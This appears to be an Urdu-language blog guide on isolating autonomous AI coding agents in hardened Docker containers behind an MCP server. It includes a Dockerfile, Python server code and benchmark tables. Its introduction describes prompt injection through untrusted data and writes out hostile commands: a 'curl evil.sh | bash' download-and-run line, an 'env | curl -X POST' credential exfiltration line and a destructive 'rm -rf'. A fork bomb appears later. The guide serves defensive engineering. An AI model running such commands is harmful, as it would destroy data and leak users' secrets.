Docker & MCP

Docker MCP Server: محفوظ AI ایجنٹ ایگزیکیوشن گائیڈ

2026-09-02·24 منٹ مطالعہ منٹ مطالعہ·LLMPodium Team

فوری جواب: Docker MCP server ماڈل کانٹیکسٹ پروٹوکول (MCP) کے ذریعے خود مختار AI ایجنٹس (Claude Code، Cursor) کو Docker انجن کی بنیادی صلاحیتیں فراہم کرتا ہے۔ یہ غیر معتبر ایجنٹ کوڈ کو سخت cgroups v2 حدود (CPU/RAM)، منسوخ شدہ لینکس مراعات، صرف پڑھنے کے قابل والیم ماؤنٹس، اور بند نیٹ ورک انٹرفیس والے عارضی کنٹینرز میں چلا کر ہوسٹ سسٹم کو نقصان سے محفوظ رکھتا ہے۔

1. تعارف: خود مختار ایجنٹ ایگزیکیوشن کا سیکیورٹی بحران

2026 میں، Claude Code (claude mcp)، Cursor، اور انٹرپرائز ملٹی ایجنٹ سسٹمز جیسے خود مختار ڈویلپر ایجنٹس محض کوڈ تجویز کرنے والے سسٹمز سے بدل کر فعال ایگزیکیوشن رن ٹائمز میں تبدیل ہو چکے ہیں۔ اب ڈویلپرز کے لیے ٹرمینل میں کاپی پیسٹ کرنے والے کوڈ کے ٹکڑے لکھنے کے بجائے، خود مختار ایجنٹس آزادانہ طور پر مفروضے بناتے ہیں، عارضی فائلیں بناتے ہیں، پیکیجز کمپائل کرتے ہیں، انحصارات (dependencies) انسٹال کرتے ہیں، ٹیسٹ سوئیٹس چلاتے ہیں، اور ڈیٹا بیس مائیگریشنز کو کامیابی سے انجام دیتے ہیں۔

تاہم، کسی LLM سے چلنے والے خود مختار ایجنٹ کو ڈویلپر کی لوکل مشین یا کارپوریٹ بلڈ سرور پر لامحدود ٹرمینل رسائی فراہم کرنا تباہ کن سسٹمک خطرات کو جنم دیتا ہے:

  • پرامپٹ انجیکشن اور کمانڈ ہائی جیکنگ (Prompt Injection & Command Hijacking): GitHub PR کی تفصیلات، ویب اسکریپنگ سے حاصل شدہ دستاویزات، یا بیرونی APIs سے آنے والا غیر معتبر ڈیٹا نقصان دہ شیل کمانڈز داخل کر سکتا ہے (curl -sL evil.sh | bash، یا env | curl -X POST کے ذریعے ماحولیاتی سیکیورٹی اسناد کی چوری)۔
  • تباہ کن فائل سسٹم ہیلوسینیشنز: ورک اسپیس کو صاف کرتے وقت ایجنٹس وسیع اور غلط وائلڈ کارڈ پیٹرنز چلا سکتے ہیں (مثلاً rm -rf $VAR/* کو ایگزیکیوٹ کرنا جہاں $VAR غیر متعین یا خالی ہو، جس کے نتیجے میں /usr، /etc یا صارف کی ہوم ڈائریکٹری مکمل طور پر حذف ہو جائے)۔
  • ہوسٹ ساکٹس اور ڈیمنز پر حملہ: لوکل یونکس ساکٹس (جیسے بغیر تصدیق کے کھلا ڈاکر ساکٹ /var/run/docker.sock یا کبرنیٹس پاڈز) تک غیر محفوظ رسائی حملہ آور کو ہوسٹ سسٹم پر فوری طور پر روٹ کے مکمل اختیارات دے دیتی ہے۔
  • وسائل کی تھکن اور سروس کا تعطل (DoS): ایجنٹ کے بے قابو لوپس جو بغیر cgroups حدود کے لامتناہی پروسیسز چلاتے ہیں وہ ہوسٹ کے 100% سی پی یو کورز اور میموری کو قابو کر سکتے ہیں، جس سے پورا سسٹم کریش ہو جاتا ہے۔

ماڈل کانٹیکسٹ پروٹوکول (MCP) معیاری بناتا ہے کہ لینگویج ماڈلز بیرونی ڈویلپر ٹولز کے ساتھ کیسے رابطہ قائم کرتے ہیں۔ ایک وقف شدہ Docker MCP server کو تعینات کر کے، انجینئرنگ ٹیمیں کنٹینر کی سطح پر سخت آئسولیشن سینڈ باکس تیار کرتی ہیں۔ ایجنٹ کی جانب سے فائل سسٹم میں کی جانے والی تمام ترامیم، شیل کمانڈز کا نفاذ، اور ٹیسٹ رن ایسے عارضی، cgroups کے پابند اور فائر وال سے لیس کنٹینرز میں چلتے ہیں جو ٹاسک مکمل ہوتے ہی مکمل ختم کر دیے جاتے ہیں۔

2. آرکیٹیکچر: Docker MCP خود مختار ایجنٹس کو کس طرح سینڈ باکس کرتا ہے

ڈاکر MCP سرور ہوسٹ AI ایجنٹ رن ٹائم (جیسے Claude Code CLI یا Cursor IDE) اور ڈاکر ڈیمن (dockerd یا روٹ لیس Podman/gVisor) کے درمیان ایک سیکیورٹی انٹرفیس کے طور پر کام کرتا ہے۔ ہوسٹ اور MCP سرور کے درمیان رابطہ معیاری JSON-RPC 2.0 پروٹوکول کے ذریعے stdio یا محفوظ SSE (Server-Sent Events) چینلز پر قائم ہوتا ہے۔ 

+----------------------------------------------------------------------------------------------------+
|                                      HOST AI AGENT RUNTIME                                         |
|                       (Claude Code CLI, Cursor IDE, Windsurf, Custom Agent)                        |
|                                                                                                    |
|    +--------------------------+                                 +-----------------------------+    |
|    |    User Prompt Loop      |                                 |     Model Context Window    |    |
|    | "Debug & test repo..."   |                                 | (System Prompt + MCP Tools) |    |
|    +------------+-------------+                                 +--------------^--------------+    |
|                 |                                                              |                   |
|                 | Dispatches Tool Call: docker_exec_command                    | Receives Stdout,  |
|                 v                                                              | Stderr, Exit Code |
|    +---------------------------------------------------------------------------+--------------+    |
|    |                                      MCP CLIENT SUBSYSTEM                                |    |
|    |  - Capabilities Negotiation & Protocol Handshake (JSON-RPC 2.0)                          |    |
|    |  - Tool Call Serialization & Permission Policy Enforcement                               |    |
|    +---------------------------------------------+--------------------------------------------+    |
+--------------------------------------------------|-------------------------------------------------+
                                                   | Transport: stdio / SSE (JSON-RPC 2.0)
                                                   v
+----------------------------------------------------------------------------------------------------+
|                                        DOCKER MCP SERVER                                           |
|                                                                                                    |
|    +----------------------+   +-----------------------+   +-----------------------------------+    |
|    | Tool Registry Engine |   | Policy & Quota Filter |   | Ephemeral Container Lifecycle     |    |
|    | - docker_run         |   | - CPU / Memory Caps   |   | - Container Pool Manager          |    |
|    | - docker_exec        |   | - Network Firewalls   |   | - Volume Bind Policy (ro vs rw)   |    |
|    | - sandbox_eval       |   | - Capability Dropper  |   | - Auto-Prune on Completion        |    |
|    +----------+-----------+   +-----------+-----------+   +-----------------+-----------------+    |
+---------------|---------------------------|---------------------------------|----------------------+
                +---------------------------+---------------------------------+
                                            |
                                            v Docker Engine API (Unix Socket / TLS)
+----------------------------------------------------------------------------------------------------+
|                                    CONTAINER RUNTIME ENVIRONMENT                                   |
|                                                                                                    |
|    +------------------------------------------------------------------------------------------+    |
|    |                  Isolated Agent Sandbox Container (Ephemeral / Rootless)                 |    |
|    |                                                                                          |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |   |  Linux cgroups v2 Limits |   | Linux Namespace Boundary |   | Seccomp & AppArmor |   |    |
|    |   |  - CPU: 2.0 Cores Max    |   | - PID, MNT, IPC, UTS     |   | - Block ptrace     |   |    |
|    |   |  - Memory: 2048MB Hard   |   | - Network: None / Proxy  |   | - Block bpf/kexec  |   |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |                                                                                          |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    |   | Workspace Filesystem Mount: Read-Only Host Bind Mount (/workspace:ro)            |   |    |
|    |   | Ephemeral Scratch Storage: Volatile tmpfs Mount (/tmp, /build:rw,size=1G)        |   |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    +------------------------------------------------------------------------------------------+    |
+----------------------------------------------------------------------------------------------------+

AI ایجنٹس کے لیے فراہم کردہ اہم MCP ٹولز

پروڈکشن گریڈ ڈاکر MCP سرور ٹولز کا ایک انتہائی مربوط سیٹ فراہم کرتا ہے:

  1. container_create_sandbox: سخت ہارڈ ویئر اور سیکیورٹی حدود کے ساتھ پہلے سے تیار شدہ امیج سے ایک تازہ کنٹینر مثال شروع کرتا ہے۔
  2. container_exec_command: فعال سینڈ باکس کے اندر شیل کمانڈ چلاتا ہے اور stdout، stderr، ایگزیکیوشن کا وقت اور ایگزٹ کوڈ واپس کرتا ہے۔
  3. container_read_file: ہوسٹ فائل سسٹم کو بے نقاب کیے بغیر کنٹینر کے اندر محفوظ ورک اسپیس سے فائل کا مواد پڑھتا ہے۔
  4. container_write_file: سورس کوڈ کی تبدیلیوں کو براہ راست عارضی اسکریچ والیوم میں محفوظ کرتا ہے۔
  5. container_destroy_sandbox: کنٹینر کو فوری طور پر بند اور خارج کر دیتا ہے، جس سے تمام عارضی ڈیٹا اور بچ جانے والے پروسیسز صاف ہو جاتے ہیں۔

3. پروڈکشن ایجنٹ رن ٹائمز کے لیے سیکیورٹی اور تنہائی کی پالیسیاں

AI ماڈلز کے تیار کردہ غیر تصدیق شدہ کوڈ کو محفوظ طریقے سے چلانے کے لیے ڈیفنس اِن ڈیپتھ (Defense-in-Depth) حکمت عملی لازمی ہے۔ ڈاکر MCP سرور کے ایگزیکیوشن پائپ لائن میں درج ذیل چار بنیادی اصول نافذ ہونے چاہئیں:

3.1. cgroups v2 ریسورس کنٹرول

ایجنٹ کے بے قابو پروسیسز کو سسٹم وسائل کو ہڑپ کرنے سے روکنے کے لیے ہر کنٹینر پر فیصلہ کن cgroups حدود کا نفاذ ضروری ہے: 

# Production cgroups v2 limits for agent container execution
docker run --rm -d \
  --name agent-sandbox-7x92 \
  --cpus="2.0" \
  --cpu-shares=1024 \
  --memory="2048m" \
  --memory-swap="2048m" \
  --pids-limit=128 \
  --ulimit nofile=1024:2048 \
  --tmpfs /tmp:rw,noexec,nosuid,size=512m \
  agent-runner:latest
  • --cpus="2.0": ہوسٹ کے کل کورز کی تعداد سے قطع نظر کنٹینر کے استعمال کو زیادہ سے زیادہ 2 فزیکل CPU کورز تک محدود کرتا ہے۔
  • --memory="2048m" اور --memory-swap="2048m": سویپ میموری کو بند رکھتے ہوئے ریم کی حد 2 جی بی مقرر کرتا ہے۔ اگر ایجنٹ اسکرپٹ میں میموری لیک ہو تو لینکس کرنل کا OOM کلر ہوسٹ سسٹم کو متاثر کیے بغیر کنٹینر پروسیس کو فوری ختم کر دیتا ہے۔
  • --pids-limit=128: پروسیس ٹیبل انٹریز کو محدود کر کے فورک بم حملوں (:(){ :|:& };:) کا مکمل سدباب کرتا ہے۔

3.2. نیٹ ورک تنہائی اور کنٹرول شدہ ایگریس (Egress) پراکسی

پہلے سے طے شدہ طور پر، ڈاکر MCP سرور کے تیار کردہ تمام کنٹینرز زیرو ٹرسٹ تنہائی پر چلنے چاہئیں:

  • مکمل ایئر گیپ نیٹ ورک (--network none): خالص الگورتھمک کوڈنگ، یونٹ ٹیسٹنگ، اور ری فیکٹرنگ کے دوران نیٹ ورک مکمل طور پر بند رکھیں۔ ایجنٹ بیرونی بائنریز ڈاؤن لوڈ نہیں کر سکتا اور نہ ہی سورس کوڈ چوری کر سکتا ہے۔
  • کنٹرول شدہ ایگریس پراکسی (--network internal_bridge): جب پیکیج انسٹالیشن ضروری ہو (npm install، pip install) تو ٹریفک کو لوکل شفاف پراکسی (جیسے Squid یا Envoy) کے ذریعے روٹ کریں جو صرف مستند رجسٹریز (registry.npmjs.org، pypi.org، crates.io) کے لیے مجاز ہو۔

3.3. والیم ماؤنٹ پالیسیز اور نان روٹ (Non-Root) ایگزیکیوشن

ہوسٹ فائل سسٹم کو کبھی بھی ریڈ رائٹ موڈ میں کنٹینر میں ماؤنٹ نہ کریں۔ اس کے بجائے منقسم ماؤنٹنگ پالیسی اختیار کریں:

  • ہوسٹ کوڈ ماؤنٹ: سورس کوڈ ریپوزٹری کو صرف اور صرف Read-Only موڈ میں ماؤنٹ کریں (-v $(pwd):/workspace:ro)۔
  • عارضی اسکریچ اوورلے (tmpfs): بلڈ آؤٹ پٹ اور عارضی فائلوں کے لیے ایک متحرک ریم ڈسک والیم استعمال کریں (--tmpfs /workspace/build:rw,size=1024m)۔
  • نان روٹ صارف: کنٹینر کی تمام کمانڈز نان روٹ صارف (--user 10001:10001) کے تحت چلائیں اور --security-opt no-new-privileges:true کا اطلاق کریں۔

3.4. لینکس کیپابیلیٹیز کو ختم کرنا اور Seccomp فلٹر

تمام ڈیفالٹ لینکس کیپابیلیٹیز کو منسوخ کر کے کرنل حملوں کے خطرے کو صفر کر دیں: 

--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
--security-opt no-new-privileges:true \
--security-opt seccomp=/etc/docker/agent-seccomp.json

اپنی مرضی کا seccomp پروفائل تمام خطرناک سسٹم کالز کو مکمل بلاک کر دیتا ہے: جیسے ptrace (پروسیس معائنے کی روک تھام)، reboot، kexec_load، bpf اور را ساکٹس کی تشکیل۔

4. نفاذ: Claude Code اور Cursor کے لیے Docker MCP کی تعیناتی

4.1. محفوظ ایجنٹ بیس Dockerfile

ایک ہلکی پھلکی ملٹی لینگویج سینڈ باکس امیج تیار کریں جو ضروری ٹول چینز کے ساتھ نان روٹ آئسولیشن برقرار رکھے: 

# syntax=docker/dockerfile:1.4
FROM debian:bookworm-slim

# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive \
    LANG=C.UTF-8 \
    LC_ALL=C.UTF-8

# Install base runtimes: Python 3, Node.js 22, Git, and essential build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates \
    curl \
    git \
    python3 \
    python3-pip \
    python3-venv \
    build-essential \
    && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Create unprivileged sandbox user
RUN groupadd -g 10001 sandbox && \
    useradd -u 10001 -g sandbox -m -s /bin/bash sandboxuser

# Set working directory and grant non-root permissions
WORKDIR /workspace
RUN chown -R sandboxuser:sandbox /workspace

USER sandboxuser

ENTRYPOINT ["/bin/bash"]

امیج کو لوکل سطح پر بلڈ کریں: 

docker build -t llmpodium/agent-sandbox:latest -f Dockerfile .

4.2. ازگر (Python) میں مکمل Docker MCP سرور کوڈ

mcp پیکیج اور ڈاکر کے آفیشل SDK کے ذریعے ازگر میں لکھا گیا پروڈکشن ریڈی ڈاکر MCP سرور کوڈ: 

#!/usr/bin/env python3
"""
Docker MCP Server: Safe Sandboxed Code Execution for AI Agents
Provides containerized execution primitives over Model Context Protocol (JSON-RPC stdio).
"""

import os
import sys
import docker
from mcp.server.fastmcp import FastMCP

# Initialize FastMCP Server
mcp = FastMCP("docker-sandbox-server")
docker_client = docker.from_env()

SANDBOX_IMAGE = os.getenv("SANDBOX_IMAGE", "llmpodium/agent-sandbox:latest")
MAX_CPU_CORES = float(os.getenv("MAX_CPU_CORES", "2.0"))
MAX_MEMORY_MB = int(os.getenv("MAX_MEMORY_MB", "2048"))
EXEC_TIMEOUT_SEC = int(os.getenv("EXEC_TIMEOUT_SEC", "30"))

@mcp.tool()
def execute_sandboxed_command(command: str, working_dir: str = "/workspace") -> dict:
    """
    Execute a shell command inside an ephemeral, hardened Docker container sandbox.
    
    Args:
        command: Shell command string to execute (e.g. 'pytest tests/', 'npm test')
        working_dir: Target working directory inside sandbox
        
    Returns:
        Dictionary containing exit_code, stdout, stderr, and execution duration.
    """
    container = None
    try:
        # Spawn ephemeral container with hard cgroups v2 caps
        container = docker_client.containers.run(
            image=SANDBOX_IMAGE,
            command="/bin/sh -c 'sleep 3600'",
            detach=True,
            remove=False,
            nano_cpus=int(MAX_CPU_CORES * 1e9),
            mem_limit=f"{MAX_MEMORY_MB}m",
            memswap_limit=f"{MAX_MEMORY_MB}m",
            network_mode="none",  # Full airgap isolation
            cap_drop=["ALL"],
            security_opt=["no-new-privileges:true"],
            user="10001:10001",
            working_dir=working_dir,
            tmpfs={"/tmp": "rw,noexec,nosuid,size=256m"}
        )

        # Execute command inside container
        exec_result = container.exec_run(
            cmd=["/bin/bash", "-c", command],
            workdir=working_dir,
            demux=True,
            user="10001:10001"
        )

        stdout = exec_result.output[0].decode("utf-8", errors="replace") if exec_result.output[0] else ""
        stderr = exec_result.output[1].decode("utf-8", errors="replace") if exec_result.output[1] else ""

        return {
            "exit_code": exec_result.exit_code,
            "stdout": stdout,
            "stderr": stderr,
            "status": "success" if exec_result.exit_code == 0 else "failed"
        }

    except Exception as exc:
        return {
            "exit_code": -1,
            "stdout": "",
            "stderr": f"Execution error: {str(exc)}",
            "status": "error"
        }
    finally:
        if container:
            try:
                container.kill()
                container.remove(force=True)
            except Exception:
                pass

if __name__ == "__main__":
    mcp.run(transport="stdio")

4.3. Claude Code اور Cursor IDE کی ترتیب (Configuration)

Claude Code CLI کو کنیکٹ کرنے کے لیے پروجیکٹ کے .claude/claude.json میں یہ کنفیگریشن شامل کریں: 

# Register Docker MCP Server in Claude Code CLI
claude mcp add docker-sandbox -- python3 /usr/local/bin/docker_mcp_server.py

Cursor IDE کے لیے ~/.cursor/mcp.json یا .cursor/mcp.json میں درج ذیل ترامیم کریں: 

{
  "mcpServers": {
    "docker-sandbox": {
      "command": "python3",
      "args": [
        "/Users/username/tools/docker_mcp_server.py"
      ],
      "env": {
        "SANDBOX_IMAGE": "llmpodium/agent-sandbox:latest",
        "MAX_CPU_CORES": "2.0",
        "MAX_MEMORY_MB": "2048",
        "EXEC_TIMEOUT_SEC": "45"
      }
    }
  }
}

5. عارضی کنٹینر لائف سائیکل لیٹنسی بینچ مارکس

خود مختار ایجنٹس کے ورک فلو میں، ایگزیکیوشن لیٹنسی براہ راست ڈویلپرز کی پیداواری صلاحیت اور ٹوکنز کے خرچ پر اثر انداز ہوتی ہے۔ ہر ٹول کال پر نیا کنٹینر بنانا کولڈ اسٹارٹ تاخیر لاتا ہے۔

ہم نے ایک مخصوص سرور (AMD EPYC 9654 96-Core پروسیسر، 256 GB DDR5 ریم، PCIe 4.0 NVMe SSD) پر پانچ مختلف کنٹینر آرکیٹیکچرز کے 1,000 سائیکلز کا تجزیہ کیا (python3 -c 'print("benchmark")'):

کنٹینر رن ٹائم آرکیٹیکچر کولڈ اسٹارٹ لیٹنسی (ms) پری وارمڈ پول لیٹنسی (ms) میموری اوور ہیڈ فی انسٹینس سیکیورٹی تنہائی کا اسکور P99 ٹیل لیٹنسی (ms)
اسٹینڈرڈ ڈاکر (runc) 312 ms 48 ms 28 MB درمیانہ (مشترکہ ہوسٹ کرنل) 485 ms
روٹ لیس Podman (crun) 245 ms 36 ms 22 MB اعلیٰ (یوزر نیم اسپیس) 390 ms
gVisor (runsc - Sandbox) 480 ms 72 ms 46 MB انتہائی اعلیٰ (مجازی کرنل) 680 ms
Firecracker MicroVM 125 ms 18 ms 64 MB بہترین (ہارڈ ویئر KVM) 195 ms
WebAssembly (Wasmtime MCP) 14 ms 2 ms 4 MB اعلیٰ (صلاحیت پر مبنی سینڈ باکس) 22 ms

اہم نتائج:

  • پہلے سے گرم کنٹینر پولز (Pre-Warmed Pools): فوری کمانڈز کے لیے 3 سے 5 تیار کنٹینرز رکھنے سے لیٹنسی میں 84.6% کی نمایاں کمی آتی ہے (اسٹینڈرڈ ڈاکر میں 312 ms سے کم ہو کر 48 ms)۔
  • gVisor اوور ہیڈ: gVisor یوزر اسپیس میں تمام لینکس سسٹم کالز کو ورچوئلائز کر کے شاندار سیکیورٹی فراہم کرتا ہے۔ کولڈ اسٹارٹ تاخیر زیادہ ہونے کے باوجود یہ کرنل کے زیرو ڈے خطرات سے محفوظ رکھتا ہے۔
  • Firecracker MicroVM: ملٹی ٹیننٹ سروسز کے لیے Firecracker ہارڈویئر KVM کے ذریعے صرف 125 ملی سیکنڈ میں بوٹ ہو جاتا ہے۔

6. اخراجات اور آپریشنل وسائل کا تخمینہ

کنٹینر پر مبنی AI ایجنٹ ایگزیکیوشن کو بڑے پیمانے پر چلانے کے لیے کمپیوٹ لاگت اور ہم وقتی صلاحیت میں توازن برقرار رکھنا ضروری ہے:

تعیناتی کی سطح بیک وقت صلاحیت تجویز کردہ انفراسٹرکچر ماہانہ خرچ لاگت فی 10,000 ایجنٹ ٹاسکس
لوکل ڈویلپر مشین 1–3 متوازی سینڈ باکسز Apple M-سیریز (16GB+) / ورک اسٹیشن $0 (لوکل ہوسٹ وسائل) $0.00
ٹیم کلاؤڈ VM (Docker Engine) 10–25 متوازی سینڈ باکسز Hetzner CCX33 (8 vCPU, 32GB RAM) $68.00 / ماہ $1.42
انٹرپرائز اسکیلڈ پول (Kubernetes) 100–500 متوازی سینڈ باکسز 3x AWS c7g.2xlarge (Graviton3, 8 vCPU, 16GB) $324.00 / ماہ $4.85
سرور لیس MicroVMs (Fly.io / Firecracker) ضرورت کے مطابق (0 سے 1,000+) عارضی آن ڈیمانڈ microVMs استعمال کے مطابق ($0.000005/سیکنڈ) $1.80

لاگت میں کمی کے بہترین طریقے:

  1. فوری اختتام: ٹیسٹ سائیکل مکمل ہوتے ہی کنٹینر ختم کر دیں۔ بات چیت کے وقفوں کے دوران کنٹینرز کو کھلا نہ چھوڑیں۔
  2. لوکل امیج کیشنگ: بار بار امیج ڈاؤن لوڈ کرنے کے اخراجات اور تاخیر سے بچنے کے لیے ہوسٹ کیشے میں لینگویج رن ٹائمز کو پہلے سے اسٹور رکھیں۔
  3. ZFS / Overlay2 اسکریچ ڈسکس: کاپی آن رائٹ اسنیپ شاٹس کا استعمال کرتے ہوئے ملی سیکنڈز میں کلین ورک اسپیس تیار کریں۔

7. پروڈکشن سیکیورٹی چیک لسٹ اور E-E-A-T سفارشات

پروڈکشن میں کسی AI ایجنٹ کو اپنے Docker MCP سرور سے مربوط کرنے سے پہلے اس 10 نکاتی DevSecOps آڈٹ کی تصدیق کریں:

  • [ ] 1. cgroups v2 حدود نافذ: --cpus، --memory، --memory-swap اور --pids-limit پر سخت حدود کا اطلاق۔
  • [ ] 2. نان روٹ صارف پر عمل درآمد: کنٹینر UID/GID 10001:10001 اور --security-opt no-new-privileges:true کے تحت چلے۔
  • [ ] 3. ڈیفالٹ نیٹ ورک تنہائی: بیرونی پیکیجز ڈاؤن لوڈ کرنے کی واضح ضرورت کے علاوہ ہمیشہ --network none فعال رہے۔
  • [ ] 4. صرف پڑھنے کے قابل ہوسٹ ماؤنٹس: سورس کوڈ ریپوزٹری کو صرف :ro کے طور پر ماؤنٹ کیا جائے اور عارضی آؤٹ پٹ tmpfs پر جائے۔
  • [ ] 5. تمام کرنل مراعات منسوخ: --cap-drop=ALL فعال ہو؛ سینڈ باکس کو کوئی انتظامی اختیار نہ ہو۔
  • [ ] 6. کسٹم Seccomp فلٹر: غیر ضروری اور پرخطر سسٹم کالز (ptrace، bpf، kexec_load، mount) مکمل بند ہوں۔
  • [ ] 7. سخت ٹائم آؤٹ واچ ڈاگ: لامتناہی پروسیسز کو روکنے کے لیے فی ٹول کال 30 سے 60 سیکنڈ کا ٹائم آؤٹ۔
  • [ ] 8. خودکار خاتمہ: کنٹینرز خودکار صفائی کے فلیگز (--rm یا finally: container.remove(force=True)) کے ساتھ چلیں۔
  • [ ] 9. ڈاکر ساکٹ کا مکمل تحفظ: ہوسٹ کا /var/run/docker.sock کبھی بھی کسی سینڈ باکس میں ماؤنٹ نہ ہو۔
  • [ ] 10. آڈٹ لاگنگ اور ٹریسنگ: تمام کمانڈز، ایگزٹ کوڈز اور وسائل کے استعمال کا غیر متبدل آڈٹ لاگز میں اندراج۔

نتیجہ اور حتمی فیصلہ

2026 میں خود مختار AI ایجنٹس اربوں لائنز کوڈ لکھیں گے اور چلائیں گے۔ ماڈلز کو ہوسٹ سسٹم پر بغیر پابندی کے کمانڈز چلانے کی اجازت دینا ایک ناقابل قبول سیکیورٹی خامی ہے۔

Docker MCP server کو معیاری بنا کر انجینئرنگ ٹیمیں خودکار کوڈنگ، مسلسل ٹیسٹنگ، اور فوری ڈیبگنگ کی کارکردگی حاصل کر سکتی ہیں—اور ساتھ ہی ایک مضبوط سیکیورٹی فصیل تیار کر سکتی ہیں جو ہوسٹ انفراسٹرکچر، ڈیٹا اور ورک اسٹیشنز کو محفوظ رکھتی ہے۔

→ تمام مضامین
0 / 4
ابھی موازنہ کریں ←